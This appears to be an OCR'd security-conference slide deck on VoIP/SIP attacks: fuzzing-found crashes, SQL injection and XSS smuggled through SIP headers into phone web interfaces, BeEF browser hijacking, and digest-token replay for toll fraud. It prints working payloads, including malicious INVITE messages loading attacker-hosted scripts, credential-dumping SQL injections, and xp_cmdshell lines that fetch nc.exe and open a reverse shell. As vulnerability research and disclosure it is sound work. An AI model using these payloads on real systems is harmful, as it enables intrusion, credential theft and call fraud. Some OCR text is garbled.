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Major known threats in VolP

Service disruption and annoyance
Eavesdropping and traffic analysis
Masquerading and impersonation
Unauthorized access

Fraud

Can we use VolIP to own the network ?
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Firewall B

Allow UDP port 5060 and 5061 from 10.1.1.101
to 26.26.11.4 and vice versa

Allow UDP port 5060 and 5061 from 10.1.1.10
to 26.26.11.4

No specific rules for RTP path between PSTN

gateway and phones
Allow TCP/UDP port 53 (DNS) from internal
network to 26.26.1.5

Firewall A

Allow UDP port 5060 and 5061 from 26.26.11.4
to Internet and vice versa

Allow DNS traffic for 26.26.11.5

Allow RTP traffic for 26.26.11.4 to and from the
Internet

Use common RTP ports 5000/5001,
5004/5005, 8000/8001 or Application level
gateway SIP/SDP compliant



What we have found

Input Validation (tons)
— Silent denial of service attack
— In most cases, one message takes down the infrastructure (Asterisk)
Protocol tracking (2)
— Wrong protocol tracking such that few packet (3, 10) lead to a DOS
Cryptographic (3)
— credentials reuse in one major world wide enterprise level VoIP solution, where toll fraud and Call
IDspoofing is posssible
Remote Eavesdropping
Attacks against the internal network using SIP
Testbed and vulnerabilites found
— Cisco CallManager (3)
— Cisco SIP Phone (4)
— Linksys (2)
— Thomson (3) Home developed fuzzer VolP+Web
— Grandstream (2) i o
_  Nokia N95 (1) KIF http://kif.gforge.inria.fr/

— Asterisk (1)
— Anonymous (1)



Input Validation — some examples

* One empty SIP INVITE message
* One Meta-character/full byte in the To: field

(“u.,n

* One empty space after a “:

e One malformed field in INVITE and Asterisk
goes down...



Killing Asterisk with one packet

>

Asterisk KiF

INVITE sip:Alex@Asterisk
SDP-Body:
c=INIP4 192.168.1.2
c=INI1P4 910.188.8.2

Vulnerability by KiF
CVE-2007-1561



Killing Thomson with one packet

Vulnerability by KiF
CVE-2007-4753



Remote Surveillance

7

Grandstream
GVX-3000

INVITE sip:AIex@_grandstream
100 Trying >

180 Ringing I

183 Session Progress

RTP-Flow

Vulnerability by KiF
CVE-2007-4498



VolP+WEB ?

 Many VolIP devices have embedded Web

Servers

— Configuration
e PBXInaFlash, OpenSER, OpenSIPS, Cisco CallManager

— Practical interfaces for call management in end
devices: Cisco IP phones, Linksys IP Phones

* Data in the Web apps is directly populated
from SIP (signalization data)

* \VolP devices are on the internal most secured
subnetwork




SQL injection in regular Web apps

HTML form is

<form method="POST" action="authentication_check">
<input type="text" name="username">

<input type="text" name="password">

</form>

SQL code to be executed is:

SELECT * FROM table WHERE username = '<name>' AND password =
'<password>'

Now what happens if
Username= ‘admin' OR ‘1'='1 -
Password =* /

Execution is SELECT * FROM table WHERE username = ‘admin' OR 1=1 --'
AND password ="';



Why SQL injection is really bad

. Data theft

—  http://mysgl.example.com/query.php?user=1+union+select
+@@version,1,1,1, 1,1,1,1,1,1,
i,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

. Database level rootkits (Blackhat 2006/2007)

* Remote code execution
— '; exec master..xp_cmdshell 'dir > C:\dir.txt'—

— ; exec master..xp_cmdshell 'tftp -1 192.168.0.1 GET nc.exe c:
\nc.exe'—

— '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 —e
cmd.exe'—

—  select 0x010203 into dumpfile '123.dIl'; will create a binary file on
the local system

—  COPY dummytable FROM '/etc/passwd'; SELECT * FROM
dummytable;



SQL injection in Web based account management

SIP Express Router - web interface - Iceweasel

File Edit View History Bookmarks Tools Help

<f3 - - @ /Ll} [|_] http://192.168.1.4/serweb/user/my_accoul ‘ " =3 | ‘-lwebser screensl L ‘

[y mails GHRAE X Wikipedia /¥ babel Fish @ BlackHatBriefin... | J)VolP | jVarios | Jtools >

192.168.1.4 user management

<humbol@1392.168.1.4=

my account phone book missed calls accounting send IM message store

speed dial

Your chianges have beenr saved

your email: |humbol@192.168.:

your timezone: | Europe/Paris [<1]

your password:

retype password:

allow others to look up my SIP address:
forwarding to voicemail:

2
2
send me daily my missed calls to my email: [~
allow others to see whether or not I'm online: |~
1- Make a Call Save
th rO U g h th e P rOXy contact expires priority location
sip:humbol@192.168.1.117 19:56 1 nia

2- Manage her account
Check attempted calls

sip address: | expires: [one hour  ~[|  Add

Done

SIP Proxy

Internet
SIP Express Router(Ser)

€@
1




SIP Express Router - web interface - Iceweasel

File Edit View History Bookmarks Tools Help
@ - - @ {LJ‘ l [} http://192.168.1.4/serweb/userfaccounting.} ‘ VI D] vl . ‘4\]
 Jmails GPDRAE W/ Wikipedia /Y babel Fish @ BlackHatBriefin... | )VolP | jVarios | Jtools »
192.168.1.4 user management
<humbol@132.168.1.4= Logout
my account phone book missed calls accounting send IM message store speed dial
destination status time length of call hang up
‘r {adminheslo ) (humbol, 1234563(7940-1,123456% | non-local | 2007-09-12 19:20 | nfa nia
Calls 1 -1 from 1
Delete calls
' Done M1

2- SQL Injection achieved SIP Proxy
Allows to see . SIP Express Ro

Users and Passwords

Firewall

'union select user, pass from ...@X.domain




The problem - trusting the input data

Vulnerable Code
fg="select frane, Tnane fron ".$config-»data_sgl->table_phonebook. .

" where sip_ uri="", fsip_uri."" and ".$this->get_indexing_sql_where_phrase($user);.

Expected SQL query

select fnane, Tnane from phonebook where sip_uri='sip:hoch1ta@192.168.1.4" and (username='hunhol' and domain='192.168.1.4").
User name
fsqlinjection= "'unmion/**/select/** /qroup_concat(' (',usernane,', " password,')'), " /**/Fron/** /subscriber/** fwhere/** /true/** for' '='"; .

Malicious query

select fnane, Tnane from phonebook where sip_uri="t ip
union/**/select/**/group_concat(' (' ,usernane, ', ' ,password,')')," " /*¥/fron/**/subscriber/* fuhere /¥ /trug/*¥/,

or''='0192.168." and (usernane='hunhol' and domain='192.168.1.4").



How is an user name generated ?

INVITE sip:411@salzburg.at;user=phone SIP/2.0

Via: SIP/2.0/UDP salzburg.edu.at:5060;branch=z9hG4bK1d32hr4

Max-Forwards:70

To: <sip:4ll@salzburg.at;user=phone>

From: Christian Doppler <sip:c.doppler@salzburg.edu.at>

;tag=817234

Call-ID: 12-45-A5-46-F5-43-32-F3-C2

CSeqg: 1 INVITE

Subject: Train Timetables

Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE,
NOTIFY

Contact: sip:c.doppler@salzburg.edu.at

Content-Type: application/sdp

Content-Length: 195

v=0

o=doppler 2890842326 2890844532 IN IP4 salzburg.edu.at
s=—

c=IN IP4 50.61.72.83

t=0 0

m=audio 49172 RTP/AVP 97 98 0

a=rtpmap:97 iLBC/8000

a=rtpmap:98 SPEEX/8000

a=rtopmap:0 PCMU/8000



Fraud with SQL injection

$SpLinjection= '#,=10)/%*';

e SQL Injections over SIP Q “

et INVITE sip:ssoLinjection@PBX K
e SQL tables used for CDR
o Unescaped inputs Ili-fraud
o Asterisk addons

Sscript= '<script>
alert(“Hello world”)
</script>';

e Got one SQL injection?
Have one XSS for free!

o Unescaped database inputs

$SQLinjection= '“'.2hex($script).')/*';

o FreePBX, trixbox < INVITE sip:ssovinjectioneesx
e XSS via SQL injections XSS
through SIP

Vulnerability by KiF
CVE-2007-54881



Re-thinking VolP threats

e Academic/industrial
assumptions

— VoIP can be
attacked using the
IP networks

— Denial of Service is
mostly flooding




And if....

ternal Network

One simple phone SIP/PSTN
could give you all the
internal networks for |
free ? =

SIP the universal payload
injector ?
Is this possible or just a
hacker’s dream ? W

Internal Network
VolP dedicated VL

Can SIP become the UFBP
(Universal Firewall
‘% \ ?

Bypass Protocol ?)




Owning the network with SIP

* Cross-site scripting (XSS)
— A vulnerability of web applications
— Javascript/html code is injected to browsers
— Very dangerous (although few people know this)

Tools used for demo

— XSS-Proxy - http://xss-proxy.sourceforge.net/
— BeEF tool - http://www.bindshell.net/tools/beef/
— Linksys SPA-941 (Version 5.1.8)




Simple test

SIP Message with
JavaScript stored in
the Call log

P O=— Send SIP msg with JavaScripte==f>

V!

Linksys IP
Phon

JavaScript
executed

Phone User or
Administrator
(Victim)



Simple test

INVITE sip:linksys@192.168.1.5:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;branch=1

From: "<script>alert('Hack')</script>"
<sip:attacker@192.168.1.9:5060>;tag=1

To: "TOOO0O0" <sip:linksys@192.168.1.5:5060>
Call-ID: 825647@192.168.1.9

CSeq: 6620 INVITE

Max-Forwards: 70

Expires: 250

Date: Tue, 21 Aug 2007 07:59:30 +0100 (BST)
Contact: "CONTCAT " <sip:attacker@192.168.1.9:5060>
Content-Type: application/sdp

User-Agent: AGENGT

Subject: SUBJECT

Content-Length: 239

v=0

o=Lupilu 12993 27229 IN IP4 192.168.1.9
s=SIP Call

c=INIP4 192.168.1.9



Validation

Victim’s Screenshot

G Applications Places System 0@0

il] % Thu sep 13, 9:52 AM

3 Sipura 941 Call Log - Mozilla Firefox [=)l=](x]
File Edit View History Bookmarks Tools Help o
- - @ @ (& |0 nupwn9z.168.1.5/calllog.ntm [ [C] &)

#Getting Started [ Latest BBC Headlines

Linksys Telephone Configuration

o (!J Hack
29.
31.
33.
357
37.
39. 40.
41, 42.
43, 44.
45. 46.
47. 48.
49. 50.
1l 52
53. 54,
55. 56
57. 58
59. 60.
il 24
b 4.
53 6.
[ 8.
9. 10.
11 12
b 14,
158 16.
78 18
19. 20
21. 22
23, 24.
25 26. =
| Waiting for 192.168.1.5... [/

[ @ Ssipura spa configuration - Mozilla Firefox  |[@ Sipura 941 Call Log - Mozilla Firefox )




SIP Message with
JavaScript (link to
webser) stored in the
Call log

Linksyg IP
Phon

Connect@

JavaScript
Executed

Stolen Information
Transfered

=

Redirected to webserver

N T - — —
S I\/Iore Script sent
Q . —
§ 4_/_Steel Informatlon
Attacker’s s
Webserver Phone User or
(XSS Proxy) Administrator

(Victim)
Demonstrated using XSS-Proxy tool



More information

INVITE sip:linksys@192.168.1.5:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;branch=1

From: "<script x="" <sip:'src="http://baloo/
xss2.js">@192.168.1.9:5060>;tag=1

To: "TOOOO" <sip:linksys@192.168.1.5:5060>
Call-ID: 650826@192.168.1.9

CSeq: 7953 INVITE

Max-Forwards: 70

Expires: 250

Date: Tue, 21 Aug 2007 07:59:30 +0100 (BST)

Contact: "CONTCAT "
<sip:attacker@192.168.1.9:5060>

Content-Type: application/sdp
User-Agent: AGENGT
Subject: SUBJECT
Content-Length: 239



The attacker

Attacker’s Screenshot 1
<3 Applications Places system @ ()@

root@baloo: /home/sunface/Desktop/Scripts E‘@E
File Edit View Terminal Tabs Help Eile Edit View History Bookmarks Tools Help
root@baloo:/home/sunface/Desktop/Scripts# python scenario_2.py -v linksys -t 192[4] @ . . @

INVITE sip:1linksys@192.168.1.5:5060 SIP/2.0 4

Via: SIP/2.0/UDP 192.168.1.9:5060;branch=1

From: "<script x='" <sip:'src="http://baloo/xss2.js'>@192.168.1.9:5060>;tag=1
To: "T0000" <sip:linksys@192.168.1.5:5060>

Call-ID: 650826@192.168.1.9

CSeq: 7953 INVITE

Max-Forwards: 70

Expires: 250 Fetch document:

Date: Tue, 21 Aug 2007 ©7:59:30 +0100 (BST) | | Submit
Contact: "CONTCAT " <sip:attacker@192.168.1.9:5060>
Content-Type: application/sdp .

User-Agent: AGENGT Evaluate:

Subject: SUBJECT I I m‘

Content-Length: 239

Qg Q Applications Places System Thu Sep 13, 9:58 AM .

/Ll} |D http://baloo/admin

@ Getting Started [} Latest BBC Headlines

XSS-Proxy Controller Session

v=0
o=Lupilu 12993 27229 IN IP4 192.168.1.9 Clients:

s=SIP Call 192.168.1.8 last state: idle req time: (3 sec ago)
c=IN IP4 192.168.1.9

t=0 0
m-audio 6466 RTP/AVP © 8 18 101 Document Results:

a=rtpmap:0 PCMU/8000 host: 192.168.1.8 session: 0 Document: http://192.168.1.5/
a=rtpmap:8 PCMA/80800 host: 192.168.1.8 session: 0 Document: http://192.168.1.5/advanced
a=rtpmap:18 G729/8000

= T ¥ " Ic=jE=5)
File Edit View Terminal Tabs Help

%3C/forms3E%3C/ td%3E%3C/ tri3E%3Ct r3E%3Ctd%3E%0A%3Ctable%20width%3D%22100%25%22%
3E%0A%3Ctbody%s3E%3Ct re3E%3Ctd%20aligns3D%22right HTTP/1.1

Eval Results:

fa

Errors:

[»)

Frag - Doc: host: 192.168.1.8 Document: http://192.168.1.5/advanced

Request: GET /page2?&session=0&docname=http%3A//192.168.1.5/advanced&seq=26&data
=%22%3E%0A%3Cinput%20value%3D%22Undo%20A11%20Changes%22%20type%3D%22reset%22%3E%|
26nbsp%3B%0A%3C/ td%s3E%3Ctd%20align%3D%221efTt%22%3E%26nbsp%s3B%3Cinput%s20values3D%)
22Submit%20A11%20Changes%22%20type%3D%22submit%22%3E%0A%3C/ td%3E%3C/trs3E%3C/tbo
dy%3E%3C/table%3E%0A%3C/td%3E%S3C/ trE3E%3Ctre3E%3Ctd%s20align%s3D%221eft%22%3E%0A%3
Ca%20href%3D%22/admin/%22%3E%3Cfont%20class%3D%22swal ft%22%3EAdmin%20Login%3C/ fo
nt%3E%3C/a%3E%3Cfont%20c1ass%3D%22swd 1 ft%22%3E%26nbsp%3B%26nbsp%s3B%26nbsp%s3B%26n
bsp%3B%3C/ font%3E%3Ca%20href%3D%22basic%22%3E%3Cfont%20class%3D%22swal ft%22%3Eba
51c%3C/font%3E%3C/a%3E%3Cfont%20c1ass%3D%22swd 1 f1%22%3E%26nbsp%3B%26Nnbsp%s3B%7C%2
6nbsp%3B%26nbsp%s3Badvanced%s3C/font%s3E%0A%3C/ td%3E%3C/ trs3E%3Ctris3E%3Ctd%s20alignss)
3D%22center%22%3E%20%3Cp%20class%3D%22cpft%22%3E%3Cbrs3E%3Cbr%s3E%0ACopyright%20%
A9%202003-2005%205ipura%20Technology.%20A11%20Rights%20Reserved.%3C/p%s3E%0A%20%2,
0%20%20%20%20%3C/ td%3E%3C/tr%s3E%3C/tbody%3E%3C/table%3E%0A%20%20%20%20%3C/center
%3E%0A%20%20%3Cscript%20type%3D%22text/javascript%22%3E%0AonLoad%28%29%3B%0A%3C/
SCript%3E%0A%0A%3C/body%3E HTTP/1.1

Frag - Doc: host: 192.168.1.8 session: 0 Document: http://192.168.1.5/advanced
setTimeout("scriptRequest()",6500);
Request: GET /admin HTTP/1.1

Admin connection from 127.0.0.1

l Done

[«

©

[ root@baloo: fhome/sunface/Desktop/Scripts ][ [ Javscript_Exploit - OpenOffice.org Writer ][ root@baloo: fhome/sunface/Desktop/Scripts ][ @ Admin Page - Firefox ]




Complete access to user web interface
and call information

Attacker’s Screenshot 2

- ' o Applications Places System Thu Sep 13, 9:58 AM

QAppIications Places System .@o
a

File Edit View Terminal Tabs Help

INVITE sip:linksys@192.168.1.5:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;branch=1
From: "<script x
To: "T0O000" <sip:linksys@192.168.1.5:5060>

Call-ID: 650826@192.168.1.9

CSeq: 7953 INVITE

Max-Forwards: 70

Expires: 250

Date: Tue, 21 Aug 2007 07:59:30 +0100 (BST)
Contact: "CONTCAT " <sip:attacker@192.168.1.9:5060>
Content-Type: application/sdp

User-Agent: AGENGT

Subject: SUBJECT

Content-Length: 239

v=0

o=Lupilu 12993 27229 IN IP4 192.168.1.9
s=SIP Call

c=IN IP4 192.168.1.9

t=0 0

m=audio 6466 RTP/AVP 0 8 18 101
a=rtpmap:® PCMU/8000

a=rtpmap:8 PCMA/8000

a=rtpmap:18 6729/8000

root@baloo: /home/sunface/Desktop/Scripts

root@baloo:/home/sunface/Desktop/Scripts# python scenario_2.py -v linksys -t 1922

<sip:'src="http://baloo/xss2.js'>@192.168.1.9:5060>;tag=1

BEIE)

[M—I

File Edit View Terminal Tabs Help

Admin connection from 127.0.0.1

Request: GET /page2?&session=0&loop HTTP/1.1
setTimeout("scriptRequest()",6500);

Request: GET /page2?&session=0&loop HTTP/1.1

setTimeout("scriptRequest()",6500);

Request: GET /page2?&session=0&Lloop HTTP/1.1

setTimeout("scriptRequest()",6500);
Request: GET /admin?docid=1 HTTP/1.1

session: @ document name: http://192.168.1.5/advanced
Request: GET /spabanner.jpg HTTP/1.1

Request: GET /page2?&session=0&loop HTTP/1.1

setTimeout("scriptRequest()",6500);

]

Ld =JT

)

Eile Edit View History Bookmarks Tools Help

SipUra’SPATCONTiguration = irefox

€ €

(2} [0 nttpzibaloo/adminzdocia=1

[ ] |

’Gettlng Started @Latest BBC Headlines

Info

System ‘ User

Sipura Technology Inc

Admin Login  basic | advanced

Personal Directory ~ Call History
System Information
DHCP: Disabled Current IP: 192.168.1.5
Host Name: SipuraSPA Domain:
Current Netmask: 255.255.255.0 Current Gateway: 0.0.00
Primary DNS:
Secondary DNS:
Product Information
Product Name: SPA-941 Serial Number: B88014FA47146
Software Version: 5.1.8 Hardware Version: 1.0.0(0929)
MAC Address: 000E08BDC6A23 Client Certificate: Installed
Licenses: None
Phone Status
Current Time: 1/10/2003 11:01:23 Elapsed Time: 13:56:39
Broadcast Pkts Sent: 0 Broadcast Bytes Sent: 0
Broadcast Pkts Recv: 609761 Broadcast Bytes Recv: 51259761
Broadcast Pkts Dropped: 0 Broadcast Bytes Dropped: 0
RTP Packets Sent: 0 RTP Bytes Sent: 0
RTP Packets Recv: 0 RTP Bytes Recv: 0
SIP Messages Sent: 194 SIP Bytes Sent: 64828
SIP Messages Recv: 150 SIP Bytes Recv: 60423
External IP:

Ext 1 Status

Registration State: Failed Last Registration At: 0/0/0 00:00:00

Next Registration In: 202s Message Waiting: No

Mapped SIP Port:

Ext 2 Status

Registration State: Not Registered Last Registration At:

Next Registration In: Message Waiting: No

Mapped SIP Port:

Ext 3 Status

Registration State: Not Registered Last Registration At:

Next Registration In: Message Waiting: No

Mapped SIP Port:

Ext 4 Status

Registration State: Not Registered Last Registration At:

Next Registration In: Message Waiting: No

Mapped SIP Port:

Line 1 Call 1 Status |
(Call State: Idle. Tone: None. &

[»]

Done

[ B root@baloo: fhome/sunface/Desktop/Scripts ][ [ Javscript_Exploit - Openoffice.org Writer

][ B root@baloo: fhome/sunface/Desktop/Scripts ][ @ sipura SPA Configuration - Firefox




Hacking the user

SIP Message with
JavaScript (link to
webser) stored in the
Call log

Demonstrated using BeEF tool

JavaScript
Executed

Redirected to webserver

Attacker’s
Webserver
BeEF Send Fake WebPage (with JavaScript|~

_ 6 |

Take Control of Browser

Port Scan,etc,,

Phone User or
Administrator (Victim)



SIP Invite message

INVITE sip:linksys@192.168.1.5:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;branch=1
From: "<script x="" <sip:'src="http://baloo/beef/
y.js">@192.168.1.9:5060>;tag=1

To: "TOOOQO" <sip:linksys@192.168.1.5:5060>
Call-ID: 374523@192.168.1.9

CSeq: 7821 INVITE

Max-Forwards: 70

Expires: 250

Date: Tue, 21 Aug 2007 07:59:30 +0100 (BST)

Contact: "CONTCAT "
<sip:attacker@192.168.1.9:5060>

Content-Type: application/sdp
User-Agent: AGENGT
Subject: SUBJECT
Content-Length: 239



Victim’s view ©

Victim’s Screenshot

QAppIications Places System C@e

) Sipura 931 Calliog=MozllatEirefox
Eile Edit View History Bookmarks Tools Help

a-0 - & (2} |l nttpwaloosbeef/nook/calliog.ntm +[») [Gs

#Getting Started £ Latest BBC Headlines

3 gill % Thu Sep 13, 10:01 AM

(TN

A Division of Cisco Systems,

Linksys Telephone Configuration

Redial List | Answered calls Missed Calls

1. 2.
3. 4.
5. 6.
7. 8.
9. 10.
11. 12.
13. 14.
15. 16.
hirds 18.
19. 20.
21. 22.
23. 24.
25. 26.
27. 28.
29. 30.
31. 32.
33. 34.
35. 36.
37. 38.
39. 40.
41. 42,
43. 44.
45. 46.
47. 48.
49. 50.
517 52.
53. 54.
55. 56.
57. 58.
59. 60.

Refresh | Close Window |

Your Browser is hijacked.......

o
o
o
o

Please contact Team Madynes to fix it

‘ Done

[. Sipura SPA Configuration - Mozilla Firefox ][ @ sipura 941 Call Log - Mozilla Firefox ]

!

]
]




Remote Hacker’s view

Attacker’s Screenshot

oAppIications Places System

File Edit View Terminal Tabs Help

INVITE sip:linksys@192.168.1.5:5060 SIP/2.0

Via: SIP/2.0/UDP 192.168.1.9:5060;branch=1

From: "<script x='" <sip:'src="http://baloo/beef/y.js'>@192.168.1.9:5060>;tag=1
To: "T0O000" <sip:linksys@192.168.1.5:5060>
Call-ID: 374523@192.168.1.9

CSeq: 7821 INVITE

Max-Forwards: 70

Expires: 250

Date: Tue, 21 Aug 2007 07:59:30 +0100 (BST)
Contact: "CONTCAT " <sip:attacker@192.168.1.9:5060>
Content-Type: application/sdp

User-Agent: AGENGT

Subject: SUBJECT

Content-Length: 239

v=0

o=Lupilu 12993 27229 IN IP4 192.168.1.9
s=SIP Call

c=IN IP4 192.168.1.9

t=0 0

m=audio 6108 RTP/AVP 0 8 18 101
a=rtpmap:@ PCMU/8000

a=rtpmap:8 PCMA/8000

a=rtpmap:18 G729/8000

a=rtpmap:101 telephone-event/8000

& D« -(J Applications Places System Thu Sep 13, 10:02 AM .

[»)

- ] Browser Exploit Framework - Firefox [=J=)(x]
File Edit View History Bookmarks Tools Help
e -»-& (it ¥ ntpumalooeeriui/# [~[») &)

P Getting Started [ Latest BBC Headlines

Autorun Options Help
Expiotaton % Module
Framework Distributed Port Scanner
g Target
192.168.1.8
BeEF Port(s)
Autorun 80,220,8080
disabled Timeout
Zombies 1000

€0 19216818

Results
192.168.1.8:220 open

- T = [
File Edit View Terminal Tabs Help
root@baloo: /home/sunface/Desktop/Scripts# [|

192.168.1.8:80 open
192.168.1.8:8080 open

delete results

Wade Alcorn (http://www.bindshell.net)

Web browsers explictly prohibit connection to some ports. http:/www.mozilla.org/projects/netlib/PortBanning.htmi

E l Done

[ root@baloo: fhome/sunface/Desktop/Scripts ][ [@ Javscript_Exploit - OpenOffice.org Writer

] root@baloo: /home/sunface/Desktop/Scripts ][ @ Browser Exploit Framework - Firefox

(5]]



How to make things worse

Redirect the browser to a Oday browser exploit ie
Aurora exploit

Redirect the browser to Oday browser helper object/
application

Install automated malware (autorooters) on the
internal network

Deactivate corporate/personal firewalls using their
web interface

More bad news: 80 % of web applications have
either XSS or SQL vulnerabilities...



Autonomic VolP Malware

Launches attacks
Asterisk

Cisco

Linksys Victim
Thomson,

Grandstream
DOS attacks
SP}T

commands
Retrieves exploit o
Malicious user
Upload Exploit code
Web server
With dynamic DNS

Proof of concept platform developed in our team



Protocol tracking errors

X INVITE > Cisco

X emmmmmmmmoeeee 400 Bad Request --------------- Cisco :

X <=mmmmmmmmeeee- 400 Bad Request --------------- Cisco EaCh message IS OK

X <o - 400 Bad Request --------------- Cisco

X emmmmmmmmeeeee 400 Bad Request --------------- Cisco

X <emmmmmmmmmeeee 400 Bad Request --------------- Cisco : : :

R PTIONG  do Small variations in the message

X <=mmmmmmmmmmmoooeee- 200 OK -==-=mmmmmmmmmmmmmeeeeee Cisco

T OPTIONS . Civen parameters lead to a remote DOS
X <mmmmmmmmmm - 200 OK =====mmmmmmmmmmmmmmm e Cisco

X <-mmmmmmmmmeeee 400 Bad Request --------------- Cisco

X INVITE > Cisco I HF :

X 400 Bad Request ———— Gseo Similar vulnerability with only 3

X <emmmmmmmmmeeee 400 Bad Request --------------- Cisco

——— T — > Cisco messages

X <emmmmmmmmmeeee 404 Not Found ------------------ Cisco

X <=mmmmmmmomes 400 Bad Request --------------- Cisco

X <=mmmmmmmee 400 Bad Request --------------- Cisco H . . .
X o 400 Bad Request ———— Givco Impossible to detect with most existing
(I (0] o) NS > Cisco

X Q=mmmmmmmmoomoooeeee- 200 OK -==-=mmmmmmmmmmmmmeeeeee Cisco I DS

X INVITE > Cisco

X <o 100 Trying --------------m-mmmmmmmm- Cisco

X <emmmmmmmmmoeeee 404 Not Found ------------------ Cisco : .
O 404 Not Found ——————— Gisco Found only with stateful SIP tracking
X <emmmmmmmmeeeee 404 Not Found ------------------ Cisco

X mmmmmmmm e OPTIONS-----=-=-=mmmmmeem > Cisco

X <o 200 OK ---------mmmmmm e Cisco

X Qemmmmme - 404 Not Found ------------------ Cisco

) QEUT— (0] o) VS > Cisco

X K=mmmmmmmmmmome e 200 OK --=-==mmmmmmmmmmm e Cisco



Fraud through protocol manipulation:

User A Registrar/Proxy User B
SIP-URI: Alex@PBX.1 URI-Domain: PBX.2

SIP-URI: Bob@PBX.2
Q @_‘ INVITE sip:Alex@PBX.1 Q

401 Authentication required
(Authentication Challenge) > N

; ACK sip:Alex@PBX.1

INVITE sip:Alex@PBX.1
- (Authentication Response) ——

INVITE sip:Alex@PBX.1

A

180 Ringing >
200 OK 180 Ringing >
-
200 OK >
” ACK sip:Alex@PBX.1
ACK sip:Alex@PBX.1 i
i}
Media Data

Proxy-Authenticate: Digest algorithm=MD5,

realm="domain.org",
nonce="1d78fb72"

Proxy-Authorization: Digest username="Bob",
realm="domain.org",
uri="sip:Alex@PBX.1",
response="4cc8alde5a60306c760",
nonce="1d78fb72", algorithm=MD5



Fraud through protocol manipulation:

User B User C
SIP-URI: Bob@PBX.2 SIP-URI: Joe@PBX.3
® ®
= - INVITE sip:Bob@PBX.2 5
100 in
Trying -
180 Ringing -
200 OK >
. ACK sip:Bob@PBX.2
‘*-\
Media Data L Actual
---------------------- dl Conversation
A
INVITE sip:Joe@PBX.3 D
ip:Joe@ > [ put
- 200 OK 1 on hold




Fraud through protocol manipulation:

User B

SIP-URI: 7940@192.168.1.21

g INVITE sip:7940@192.168.1.21
"~ Contact: sip:941@192.168.1.4

Actual
Conversation

doing the
transfer

Attacker
User X
SIP-URI:BadGuy@192.168.1.3

Ricord-Route: sip:BadBuy@192.168.1.3

100 Tryin
.ry . g P
180 Ringing >~
200 OK -
; ACK sip:7940@192.168.1.21
- Media Data
Media Data
INVITE sip:941@192.168.1.4 -

401 Authentication Required
_ (same Authentication Challenge)

INVITE sip:941@192.168.1.4
(Authentication Response)

200 OK

z

A

Registrar

URI-Domain: PBX.2

INVITE sip:941@192.168.1.4
FROM: 7940@192.168.1.21

401 Authentication Required
(Authentication Challenge)

f:

NVITE sip:941@192.168.1.4
FROM: 7940@192.168.1.21

(same Authentication Respons*
180 Ringing

A A

200 OK

ACK sip:941@192.168.1.4

|
Media Data

10$ per call
plus ...

941@192.168.1.24

INVITE sip:941@192.168.1.24
FROM: 7940@192.168.1.4

180 Ringing
200 OK

Ll

A A

ACK sip:7940@192.168.1.4>
Media Data




Fraud through token replay

e Digest Authentication is cryptographically sound but

developers ... egsor EST—
o Affected devices 0 s
@ Cisco CallManager - - INVITE sip:Alexidomain -
401 Authenticati ired
CVE-2007-5468 - (Authenﬂcaﬂonoc"‘harelg.:vge) -
IP- JRI: Alex@PR) B ACK —
@ OpenSer v1.2.2 m ‘
CVE-2007-5469 AMVITE sip:Alex@domain
INVITE sip:Alex@PBX.1 - entication Response).,
e Impact © Rinul 180 Ringing -
L 200 OK
@ Toll-fraud Ak >
@ Call-ID spoofing )
‘Sjlf-'ugl BobDPBX.3 ‘ RFC 3261 Saction 22.4
™ FROM. JoeBPoX 2 KE i e b e
Vi ) ;:g:‘l;_pw %%t;(%pex 3 - (Authentication Response) . to
T isoRringing 180 Ringing .
200 OK - 200 OK >
- ACK

o Allows “Replay” Attacks but ... to any other entity

@ Digest-URI not checked to be the same as Request-URI




Conclusions

JavaScript and SQL injection are compliant to
the SIP IETF specification

No SIP specific firewall filters JavaScript and
SQL

Most embedded Web servers in end devices
are vulnerable to Web attacks

Most end devices are on the internal
network.....



